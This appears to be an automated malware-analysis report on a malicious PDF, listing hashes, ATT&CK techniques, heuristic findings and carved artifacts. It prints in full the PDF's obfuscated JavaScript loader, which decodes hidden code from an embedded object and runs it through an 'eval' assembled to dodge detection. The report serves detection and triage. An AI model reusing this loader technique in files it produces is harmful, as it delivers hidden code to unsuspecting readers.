PDF malware analysis — malicious · 40c76ddb08ebb02c

MALICIOUS

PDF

5.9 KB First seen: 2026-05-08

MD5: 6cadc8a9e07fe2b8bddc98878833472a SHA-1: d3b2b026bfc26649592cf2abce3621c4f00d30e7 SHA-256: 40c76ddb08ebb02c4d351f4be8d56ad83e6ed65b43e2f776ae7aa47bb6a9f621

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1553.005 Mark-of-the-Web Bypass

The PDF file exhibits suspicious characteristics, including the presence of embedded JavaScript and an embedded binary file. The embedded JavaScript, although not fully detailed here, is a common technique for initiating malicious actions within PDF documents. The embedded file, named 'embedded_file_obj0012.bin', is likely a secondary payload. The combination of these elements strongly indicates an attempt to deliver and execute malicious code.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0012.bin`	pdf-embedded-file	PDF EmbeddedFile object 12 at offset 0x428	149004 bytes
SHA-256: `9914615d962e87b80c41ed738fa9dc7e726178d9005cad00b9229e76d564bcb5`
Detection ClamAV: No threats found Obfuscation or payload: likely 325 of 325 identifiers look randomly generated (e.g. 'Jx5qJgvSyfCFgJuyA1Jx5qJgvSyfCFgJuyA2Jx5q') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1CC	254 bytes
SHA-256: `1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6`
Preview script First 1,000 lines of the extracted script ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){ rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd); rf=re.one.value+re.two.value;this[rf](rc);

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